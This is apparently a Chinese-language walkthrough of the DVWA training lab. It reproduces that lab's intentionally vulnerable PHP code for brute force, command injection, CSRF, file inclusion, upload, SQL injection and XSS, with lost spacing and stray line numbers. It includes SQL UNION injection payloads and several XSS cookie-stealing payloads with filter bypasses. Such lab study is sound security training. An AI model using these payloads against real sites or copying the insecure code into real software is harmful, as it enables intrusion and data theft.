<?phpif(isset($_GET['Login'])){// Get username
$user=$_GET['username'];// Get password
$pass=$_GET['password'];$pass=md5($pass);// Check the database
$query="SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');if($result&&mysqli_num_rows($result)==1){// Get users details
$row=mysqli_fetch_assoc($result);$avatar=$row["avatar"];// Login successful
echo"<p>Welcome to the password protected area {$user}</p>";echo"<img src=\"{$avatar}\" />";}else{// Login failed
echo"<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}?>
<?phpif(isset($_GET['Login'])){// Sanitise username input
$user=$_GET['username'];$user=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$user):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));// Sanitise password input
$pass=$_GET['password'];$pass=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$pass=md5($pass);// Check the database
$query="SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');if($result&&mysqli_num_rows($result)==1){// Get users details
$row=mysqli_fetch_assoc($result);$avatar=$row["avatar"];// Login successful
echo"<p>Welcome to the password protected area {$user}</p>";echo"<img src=\"{$avatar}\" />";}else{// Login failed
sleep(2);echo"<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}?>
<?phpif(isset($_GET['Login'])){// Check Anti-CSRF token
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');// Sanitise username input
$user=$_GET['username'];$user=stripslashes($user);$user=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$user):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));// Sanitise password input
$pass=$_GET['password'];$pass=stripslashes($pass);$pass=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$pass=md5($pass);// Check database
$query="SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');if($result&&mysqli_num_rows($result)==1){// Get users details
$row=mysqli_fetch_assoc($result);$avatar=$row["avatar"];// Login successful
echo"<p>Welcome to the password protected area {$user}</p>";echo"<img src=\"{$avatar}\" />";}else{// Login failed
sleep(rand(0,3));echo"<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}// Generate Anti-CSRF token
generateSessionToken();?>
<?phpif(isset($_POST['Submit'])){// Get input
$target=$_REQUEST['ip'];// Determine OS and execute the ping command.
if(stristr(php_uname('s'),'Windows NT')){// Windows
$cmd=shell_exec('ping '.$target);}else{// *nix
$cmd=shell_exec('ping -c 4 '.$target);}// Feedback for the end user
echo"<pre>{$cmd}</pre>";}?>
<?phpif(isset($_POST['Submit'])){// Get input
$target=$_REQUEST['ip'];// Set blacklist
$substitutions=array('&&'=>'',';'=>'',);// Remove any of the characters in the array (blacklist).
$target=str_replace(array_keys($substitutions),$substitutions,$target);// Determine OS and execute the ping command.
if(stristr(php_uname('s'),'Windows NT')){// Windows
$cmd=shell_exec('ping '.$target);}else{// *nix
$cmd=shell_exec('ping -c 4 '.$target);}// Feedback for the end user
echo"<pre>{$cmd}</pre>";}?>
<?phpif(isset($_POST['Submit'])){// Get input
$target=trim($_REQUEST['ip']);// Set blacklist
$substitutions=array('&'=>'',';'=>'','| '=>'','-'=>'','$'=>'','('=>'',')'=>'','`'=>'','||'=>'',);// Remove any of the characters in the array (blacklist).
$target=str_replace(array_keys($substitutions),$substitutions,$target);// Determine OS and execute the ping command.
if(stristr(php_uname('s'),'Windows NT')){// Windows
$cmd=shell_exec('ping '.$target);}else{// *nix
$cmd=shell_exec('ping -c 4 '.$target);}// Feedback for the end user
echo"<pre>{$cmd}</pre>";}?>
<?phpif(isset($_GET['Change'])){// Get input
$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];// Do the passwords match?
if($pass_new==$pass_conf){// They do!
$pass_new=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$pass_new=md5($pass_new);// Update the database
$current_user=dvwaCurrentUser();$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '".$current_user."';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$insert)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');// Feedback for the user
echo"<pre>Password Changed.</pre>";}else{// Issue with passwords matching
echo"<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}?>
<?phpif(isset($_GET['Change'])){// Checks to see where the request came from
if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){// Get input
$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];// Do the passwords match?
if($pass_new==$pass_conf){// They do!
$pass_new=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$pass_new=md5($pass_new);// Update the database
$current_user=dvwaCurrentUser();$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '".$current_user."';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$insert)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');// Feedback for the user
echo"<pre>Password Changed.</pre>";}else{// Issue with passwords matching
echo"<pre>Passwords did not match.</pre>";}}else{// Didn't come from a trusted source
echo"<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}?>
<?php$change=false;$request_type="html";$return_message="Request Failed";if($_SERVER['REQUEST_METHOD']=="POST"&&array_key_exists("CONTENT_TYPE",$_SERVER)&&$_SERVER['CONTENT_TYPE']=="application/json"){$data=json_decode(file_get_contents('php://input'),true);$request_type="json";if(array_key_exists("HTTP_USER_TOKEN",$_SERVER)&&array_key_exists("password_new",$data)&&array_key_exists("password_conf",$data)&&array_key_exists("Change",$data)){$token=$_SERVER['HTTP_USER_TOKEN'];$pass_new=$data["password_new"];$pass_conf=$data["password_conf"];$change=true;}}else{if(array_key_exists("user_token",$_REQUEST)&&array_key_exists("password_new",$_REQUEST)&&array_key_exists("password_conf",$_REQUEST)&&array_key_exists("Change",$_REQUEST)){$token=$_REQUEST["user_token"];$pass_new=$_REQUEST["password_new"];$pass_conf=$_REQUEST["password_conf"];$change=true;}}if($change){// Check Anti-CSRF token
checkToken($token,$_SESSION['session_token'],'index.php');// Do the passwords match?
if($pass_new==$pass_conf){// They do!
$pass_new=mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new);$pass_new=md5($pass_new);// Update the database
$current_user=dvwaCurrentUser();$insert="UPDATE `users` SET password = '".$pass_new."' WHERE user = '".$current_user."';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$insert);// Feedback for the user
$return_message="Password Changed.";}else{// Issue with passwords matching
$return_message="Passwords did not match.";}mysqli_close($GLOBALS["___mysqli_ston"]);if($request_type=="json"){generateSessionToken();header("Content-Type: application/json");printjson_encode(array("Message"=>$return_message));exit;}else{echo"<pre>".$return_message."</pre>";}}// Generate Anti-CSRF token
generateSessionToken();?>
<?php// The page we wish to display
$file=$_GET['page'];// Input validation
$file=str_replace(array("http://","https://"),"",$file);$file=str_replace(array("../","..\\"),"",$file);?>
<?php// The page we wish to display
$file=$_GET['page'];// Input validation
if(!fnmatch("file*",$file)&&$file!="include.php"){// This isn't the page we want!
echo"ERROR: File not found!";exit;}?>
<?phpif(isset($_POST['Upload'])){// Where are we going to be writing to?
$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path.=basename($_FILES['uploaded']['name']);// Can we move the file to the upload folder?
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)){// No
echo'<pre>Your image was not uploaded.</pre>';}else{// Yes!
echo"<pre>{$target_path} succesfully uploaded!</pre>";}}?>
<?phpif(isset($_POST['Upload'])){// Where are we going to be writing to?
$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path.=basename($_FILES['uploaded']['name']);// File information
$uploaded_name=$_FILES['uploaded']['name'];$uploaded_type=$_FILES['uploaded']['type'];$uploaded_size=$_FILES['uploaded']['size'];// Is it an image?
if(($uploaded_type=="image/jpeg"||$uploaded_type=="image/png")&&($uploaded_size<100000)){// Can we move the file to the upload folder?
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)){// No
echo'<pre>Your image was not uploaded.</pre>';}else{// Yes!
echo"<pre>{$target_path} succesfully uploaded!</pre>";}}else{// Invalid file
echo'<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}}?>
<?phpif(isset($_POST['Upload'])){// Where are we going to be writing to?
$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path.=basename($_FILES['uploaded']['name']);// File information
$uploaded_name=$_FILES['uploaded']['name'];$uploaded_ext=substr($uploaded_name,strrpos($uploaded_name,'.')+1);$uploaded_size=$_FILES['uploaded']['size'];$uploaded_tmp=$_FILES['uploaded']['tmp_name'];// Is it an image?
if((strtolower($uploaded_ext)=="jpg"||strtolower($uploaded_ext)=="jpeg"||strtolower($uploaded_ext)=="png")&&($uploaded_size<100000)&&getimagesize($uploaded_tmp)){// Can we move the file to the upload folder?
if(!move_uploaded_file($uploaded_tmp,$target_path)){// No
echo'<pre>Your image was not uploaded.</pre>';}else{// Yes!
echo"<pre>{$target_path} succesfully uploaded!</pre>";}}else{// Invalid file
echo'<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}}?>
#Illegal mix of collations for operation 'UNION'
#如果报上述错误,就在 from 前加 COLLATE utf8_general_ci
unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()#
获取列名
1
2
3
#Illegal mix of collations for operation 'UNION'
#如果报上述错误,就在 from 前加 COLLATE utf8_general_ci
unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name='users'#
<?phpif(isset($_REQUEST['Submit'])){// Get input
$id=$_REQUEST['id'];switch($_DVWA['SQLI_DB']){caseMYSQL:// Check database
$query="SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');// Get results
while($row=mysqli_fetch_assoc($result)){// Get values
$first=$row["first_name"];$last=$row["last_name"];// Feedback for end user
echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);break;caseSQLITE:global$sqlite_db_connection;#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query="SELECT first_name, last_name FROM users WHERE user_id = '$id';";#print $query;
try{$results=$sqlite_db_connection->query($query);}catch(Exception$e){echo'Caught exception: '.$e->getMessage();exit();}if($results){while($row=$results->fetchArray()){// Get values
$first=$row["first_name"];$last=$row["last_name"];// Feedback for end user
echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}else{echo"Error in fetch ".$sqlite_db->lastErrorMsg();}break;}}?>
<?phpif(isset($_POST['Submit'])){// Get input
$id=$_POST['id'];$id=mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$id);switch($_DVWA['SQLI_DB']){caseMYSQL:$query="SELECT first_name, last_name FROM users WHERE user_id = $id;";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.mysqli_error($GLOBALS["___mysqli_ston"]).'</pre>');// Get results
while($row=mysqli_fetch_assoc($result)){// Display values
$first=$row["first_name"];$last=$row["last_name"];// Feedback for end user
echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}break;caseSQLITE:global$sqlite_db_connection;$query="SELECT first_name, last_name FROM users WHERE user_id = $id;";#print $query;
try{$results=$sqlite_db_connection->query($query);}catch(Exception$e){echo'Caught exception: '.$e->getMessage();exit();}if($results){while($row=$results->fetchArray()){// Get values
$first=$row["first_name"];$last=$row["last_name"];// Feedback for end user
echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}else{echo"Error in fetch ".$sqlite_db->lastErrorMsg();}break;}}// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query="SELECT COUNT(*) FROM users;";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');$number_of_rows=mysqli_fetch_row($result)[0];mysqli_close($GLOBALS["___mysqli_ston"]);?>
<?phpif(isset($_SESSION['id'])){// Get input
$id=$_SESSION['id'];switch($_DVWA['SQLI_DB']){caseMYSQL:// Check database
$query="SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>Something went wrong.</pre>');// Get results
while($row=mysqli_fetch_assoc($result)){// Get values
$first=$row["first_name"];$last=$row["last_name"];// Feedback for end user
echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);break;caseSQLITE:global$sqlite_db_connection;$query="SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";#print $query;
try{$results=$sqlite_db_connection->query($query);}catch(Exception$e){echo'Caught exception: '.$e->getMessage();exit();}if($results){while($row=$results->fetchArray()){// Get values
$first=$row["first_name"];$last=$row["last_name"];// Feedback for end user
echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}else{echo"Error in fetch ".$sqlite_db->lastErrorMsg();}break;}}?>
添加了 LIMIT 1,可以使用#注释掉后续内容.同Low
XSS
XSS全称Cross Site Scripting,即跨站脚本攻击.它允许攻击者向网站注入恶意客户端代码,当受害者运行这些恶意代码时,攻击者就可以突破网站的访问限制并冒充受害者.
<?php// Is there any input?
if(array_key_exists("default",$_GET)&&!is_null($_GET['default'])){$default=$_GET['default'];# Do not allow script tags
if(stripos($default,"<script")!==false){header("location: ?default=English");exit;}}?>
<?php// Is there any input?
if(array_key_exists("default",$_GET)&&!is_null($_GET['default'])){# White list the allowable languages
switch($_GET['default']){case"French":case"English":case"German":case"Spanish":# ok
break;default:header("location: ?default=English");exit;}}?>
同Medium在url后加#
反射型XSS
Low
服务端源码如下:
1
2
3
4
5
6
7
8
9
10
11
<?phpheader("X-XSS-Protection: 0");// Is there any input?
if(array_key_exists("name",$_GET)&&$_GET['name']!=NULL){// Feedback for end user
echo'<pre>Hello '.$_GET['name'].'</pre>';}?>
输入的XSS内容如下:
1
<script>alert(document.cookie)</script>
Medium
服务端源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?phpheader("X-XSS-Protection: 0");// Is there any input?
if(array_key_exists("name",$_GET)&&$_GET['name']!=NULL){// Get input
$name=str_replace('<script>','',$_GET['name']);// Feedback for end user
echo"<pre>Hello {$name}</pre>";}?>
将输入内容的script替换为空字符.
输入的XSS内容如下:
双写绕过
1
<scr<script>ipt>alert(document.cookie)</script>
大小写绕过
1
<SCRIPT>alert(document.cookie)</SCRIPT>
使用非script标签
1
<img src=1 onerror='alert(document.cookie)'>
High
服务端源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?phpheader("X-XSS-Protection: 0");// Is there any input?
if(array_key_exists("name",$_GET)&&$_GET['name']!=NULL){// Get input
$name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$_GET['name']);// Feedback for end user
echo"<pre>Hello {$name}</pre>";}?>
<?phpif(isset($_POST['btnSign'])){// Get input
$message=trim($_POST['mtxMessage']);$name=trim($_POST['txtName']);// Sanitize message input
$message=stripslashes($message);$message=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$message):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));// Sanitize name input
$name=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$name):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));// Update database
$query="INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');//mysql_close();
}?>
<?phpif(isset($_POST['btnSign'])){// Get input
$message=trim($_POST['mtxMessage']);$name=trim($_POST['txtName']);// Sanitize message input
$message=strip_tags(addslashes($message));$message=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$message):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$message=htmlspecialchars($message);// Sanitize name input
$name=str_replace('<script>','',$name);$name=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$name):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));// Update database
$query="INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');//mysql_close();
}?>
<?phpif(isset($_POST['btnSign'])){// Get input
$message=trim($_POST['mtxMessage']);$name=trim($_POST['txtName']);// Sanitize message input
$message=strip_tags(addslashes($message));$message=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$message):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));$message=htmlspecialchars($message);// Sanitize name input
$name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$name);$name=((isset($GLOBALS["___mysqli_ston"])&&is_object($GLOBALS["___mysqli_ston"]))?mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$name):((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",E_USER_ERROR))?"":""));// Update database
$query="INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');//mysql_close();
}?>